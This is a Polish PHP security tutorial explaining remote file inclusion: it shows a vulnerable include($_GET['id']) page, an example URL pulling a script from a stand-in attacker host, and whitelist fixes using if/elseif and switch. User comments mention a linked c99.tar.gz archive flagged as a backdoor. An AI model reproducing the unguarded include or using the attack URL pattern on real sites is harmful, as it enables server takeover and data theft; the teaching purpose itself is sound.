Loading:


Bezpieczeństwo PHP/MySQL cz. 3: Include'owanie plikow

Bezpieczeństwo PHP/MySQL cz. 3: Include'owanie plikow

1. Wstep
2. Include
3. Bezpieczenstwo
4. Zakonczenie

1. Wstep
Jest juz to 3 artykul z serii `Bezpieczeństwo PHP/MySQL`. W tym tekscie bedzie ukazane wykorzystanie
funkcji include, oraz jak uniknac bledow przy programowaniu i wykorzystaniu tego.
Funkcja ta jest wykorzystywana praktycznie na wszystkich stronach internetowych opartych na PHP!
Takze nie trudno o pomylke, a co przez to idzie ? Podmiana strony, skasowanie index'u, a co gorsza
Wykradniecie danych! Takze przejdzmy do dzialania, jak? co? gdzie? :)

2. Include
Jak juz wczesniej wspomnialem, include sluzy do ladowania pliku, do skryptu dla przykladu:

<?
/* Plik index.php */
include('header.php');
include('tresc.php');
include('footer.php');
>

Taki oto kod powoduje zaladowanie plikow header.php, tresc.php oraz footer.php do pliku index.php
W pliku header.php znajduje sie pare odnosnikow, w pliku tresc znajduja sie newsy, etc., a w pliku footer
jak sama nazwa mowi znajduje sie stopka. Zastanawiacie sie dlaczego tak budowane sa niektore storny ?
Dla ulatwienia sobie pracy nad aktualizacja! Znacznie ulatwia to prace, np. nie musimy aktualizowac wszystkich
plikow po kolei, tylko zmieniamy jeden plik tresc.php [porpawiamy blad, czy cos] i gotowe, na wszystkich stronach
jest zaktualizowana tresc. Jednak tu nie chodzi o takie includowanie, na wielu stronach widzialem takie mniej-wiecej
takie cos:
www.jakas.strona.pl?id=index.php
Niby nie wyglada groznie, jednak przez takie cos, mozna narobic wielkich szkod! Dlaczego ? Spojrzcie sami w kod!

<?php
/* Plik index.php */
if(!isset($_GET['id'])) {
 exit('Jakis blad!');
} else {
 include($_GET['id']);
}
?>

Dlaczego to niby takie grozne? A pomysleliscie jakby uzytkownik wpisal tak wygladajacy URL:
www.jakas.strona.pl?id=http://strona.hakiera.com/zuy_skrypt.php
W takim skrypcie moglby wykonac nie jedna `ciekawa` rzecz, przez co moglby miec dostep do serwera
czy wiele innych!
Dla przykladu, mamy jakiegos CMSa gdzie programista sie zagalopowal i zrobil to w sposob
www.jakas.strona.pl?id=index.php gdzie skrypt pobiera zmienna id i includuje to, co sie w niej znajdzie
Wiec, jesli chcemy byc zli, to includujemy PLIK po czym mamy dostep do zasobow serwera i nie tylko. A TUTAJ SCREEN

3. Bezpieczenstwo

Wbrew pozora zabepieczyc sie przed tego typu atakami wcale nie jest tak trudno, wystarczy troszke pomyslec!
Ponizej znajduje sie prosty kod, ktory ukrywa nazwy plikow, i zabezpiecza includowanie.

<?php
/* Plik index.php */

$id = $_GET['id'];

if (!isset($id)) {
 echo 'Jakis blad!';
 }

elseif ($id == 1) {
 include('tresc.php');
 }

elseif ($id == 2) {
 include('newsy.php');
 }

elseif ($id == 3) {
 include('cosiko.php');
 } else {
 echo 'Bla bla bla error 123456!';
 }

?>

Oczywiscie, mozna jeszcze to zrobic na zasadzie instrukcji switch, co znacznie ulatwi prace np:

<?php
/* Plik index.php */

$id = $_GET['id'];

  switch($id)
  {
  case '1':
  include('tresc.php'); 
  break;
  case '2':
  include('newsy.php');
  break;
  case '3':
  include('cosiko.php');
  break;
  default:
  echo 'Srututu'; 
  }

?>

Teraz jesli atakujacy, jesli tylko bedzie chcial zaatakowac strone nie uda mu sie to, nie bedzie mogl
include'owac zewnetrznych plikow :) Takze po czesci jestesmy bezpieczni ;))

4. Zakonczenie
Mam nadzieje, ze artykul sie podobal, i nie zapomnicie o zabezpieczaniu funkcji include ;)

Greetz: Blackhat, elwin013, Meal, and others ;)

Contact:
  >sapcik[at]webhat[dot]pl
  >Gadu - Gadu



Napisz Artyku³

Listing

niema




Dodano przez: Sapcik Ranga: 0 Punktów: 0
Komentarze użytkowników
Wstawiasz na stronę zawirusowane pliki. Kaspersky zgłasza backdora przy pobieraniu pliku z tego linku : http://sapcik.webhat.pl/artykuly/c99.tar.gz Mam nadzieję że to nie chodzi o to że artykuł o bezpieczeństwie ma zmniejszyć czujność.
autor: majzel | 168 | 2009-04-24 22:44:13


Pobrałem ten plik to zwykły PHP nie wiem czemu zgłasza ci trojany, tam nic niema.
autor: Igor | 169 | 2009-04-25 12:01:59


Świetnie opisany art oby takich więcej :)
autor: neon125 | 5554 | 2010-04-01 09:00:05


    • Tre¶æ komentarza
      Kod do komentarza (opcjonalnie)
      PHP JavaScript MySQL Smarty SQL HTML CSS ActionScript
      Autor
      Token
      token

       

       








funkcje.net
Wszelkie prawa zastrzeżone©. | Funkcje.net 2008-2024 v.1.5 | design: diviXdesign & rainbowcolors